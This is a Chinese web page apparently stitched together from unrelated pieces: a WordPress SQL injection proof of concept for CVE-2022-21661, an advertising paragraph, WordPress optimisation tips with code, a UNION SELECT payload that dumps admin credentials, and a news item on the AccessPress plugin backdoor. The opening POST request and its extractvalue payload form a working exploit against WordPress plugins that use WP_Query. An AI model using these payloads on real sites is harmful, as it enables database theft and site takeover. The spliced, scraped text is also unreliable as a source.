CVE-2022–21661 WordPress 《=5.3, 携带WP_QUERY插件SQL注入

POC：

站在用户的角度思考问题，与客户深入沟通，找到金牛网站设计与金牛网站推广的解决方案，凭借多年的经验，让设计与互联网技术结合，创造个性化、用户体验好的作品，建站类型包括：网站设计、做网站、企业官网、英文网站、手机端网站、网站推广、主机域名、虚拟主机、企业邮箱。业务覆盖金牛地区。

POST

ecs_ajax_settings  {"post_id":1,"current_page":2,"widget_id":"65054a0","max_num_pages":5}

action ecsload

query {"tax_query":{"0":{"field":"term_taxonomy_id","terms":["111) and extractvalue(rand(),concat(0x5e,user(),0x5e))#"]}}

这个问题来源于temrs没过滤 再加上 一个相等条件绕过；

相等条件类似于,下面过滤条件没有执行。导致term携带了一些脏数据

if(a==b){

return;

}

sanialize(term);

1下图所示，我们的插件里action钩子勾住的是这个方法，这个方法利用了WP_QUERY存在漏洞的类，注意的是action 一定要有对应的值，所以这个漏洞限制在。运用了WP_QUERY的插件里。所以我们拿了ajax_pagnition这个插件，定义了action为ecsload

2 下图所示 我们进入方法，此方法构造了sql

3 clean query方法 进去看看，2的里面调用了这个，箭头指定的地方已经打过补丁，强制term为int所以就无法利用了，补丁前不是这样，而是对term没有做任何操作

4进入transform_query，在看一下里面。下面试sanitize其实可以绕过，从而不过滤term这样，条件都成立，term逃出，sql成立

关闭wordpress对外请求

一、关闭wordpress自带站内搜索

php+mysql已经广泛应用于各大网站，但sql注入问题是都会存在的一大事实，黑客就是利用sql注入做了许多坏事。wordpress网站使用人数也逐渐增高，在安全性上也是公认的，回过头来说站内搜索吧，别扯远了，高深的问题当下也消化不了。

一般来说sql查询越多，对网站效率越差负载也很高，为了优化wordpress怎么减少sql查询呢？因为wordpress自带的站内搜索不单每次都进行sql查询，而且查询都是不是十分准确的，所以可以换成百度或谷歌等这些开放站内搜索，来进行wordpress优化，还提高了用户体验。

但如果有访客通过"wordpress/?s=$key"这种方式，仍然可以使用wordpress自带的站内搜索，因此，下面就可以用这种方法完全关闭wordpress自带的站内搜索。方法很简单，只需在function.php中加入以下代码即可。

function fb_filter_query( $query, $error = true ) {

if ( is_search() ) {

$query-is_search = false;

$query-query_vars[s] = false;

$query-query[s] = false;

if ( $error == true )

$query-is_404 = true;

}

}

add_action( 'parse_query', 'fb_filter_query' );

add_filter( 'get_search_form', create_function( '$a', "return null;" ) );

二、关闭wordpress对外请求

相信大家都发现了，浏览器状态栏会有wordpress网站向其他网站的链接，这大大影响了wordpress站点的速度，为了优化wordpress，可以在wp-config.php中插入以下代码来屏蔽对外请求。

define('WP_HTTP_BLOCK_EXTERNAL', true);

到这里，相信大家就开始怀疑影不影响收录，其实完全可以设置wordpress对外请求白名单，将百度、google等ping地址添加上即可。代码如下（以百度为例）：

define('WP_ACCESSIBLE_HOSTS', 'ping.baidu.com');

转发 评论 0 浏览 5090

昵称(必填)

邮箱 (必填)

网址

如何利用SQL注入漏洞攻破一个WordPress网站

select * form custom_order where custom_id = -1 union select 1,2,3,user,5,passwd,7,8,9,10 from admin

这样注入恶意sql后，订单列表页显示的就不是订单信息了，而是数据库中用户的名称和密码，或者任意其它想要的信息。下面我们就按照这个原理来一步一步的获取这个公立学校网站的管理员用户名，管理员邮箱地址，通过邮箱重置管理员密码，登录超级管理员后台。

PHP的93个WordPress插件有后门

因为93 个 WordPress 主题和插件包含后门，从而使得攻击者可以完全控制网站。攻击者总共入侵了 AccessPress 的 40 个主题和 53 个插件，AccessPress 是 WordPress 插件的开发者，用于超过 360,000 个活动网站。

该攻击是由 Jetpack 的研究人员发现的，Jetpack 是 WordPress 网站安全和优化工具的创建者，他们发现 PHP 后门已被添加到主题和插件中。

Jetpack 认为外部威胁攻击者入侵了 AccessPress 网站以破坏软件并感染更多的 WordPress 网站。

一旦管理员在他们的网站上安装了一个受感染的 AccessPress 产品，就会在主主题目录中添加一个新的“initial.php”文件，并将其包含在主“functions.php”文件中。该文件包含一个 base64 编码的有效负载，它将 webshel l 写入“./wp-includes/vars.php”文件。恶意代码通过解码并将其注入“vars.php”文件来完成后门安装，实质上是让攻击者远程控制受感染的站点。

检测这种威胁的唯一方法是使用核心文件完整性监控解决方案，因为恶意软件会删除“initial.php”文件释放器以掩盖其踪迹。

我受到影响吗？

如果您在您的网站上安装了其中一个受感染的插件或主题，则删除/替换/更新它们不会根除任何可能通过它植入的 webshel l。

因此，建议网站管理员通过执行以下操作来扫描他们的网站是否存在入侵迹象：

Jetpack 提供了以下 YARA 规则，可用于检查站点是否已被感染并检测 dropper 和已安装的 webshel l：

原文链接：PHP的93个WordPress插件有后门

网站栏目：wordpress的注入 wordpress注册插件
转载来于：http://chengdu.cdxwcx.cn/article/doeedeh.html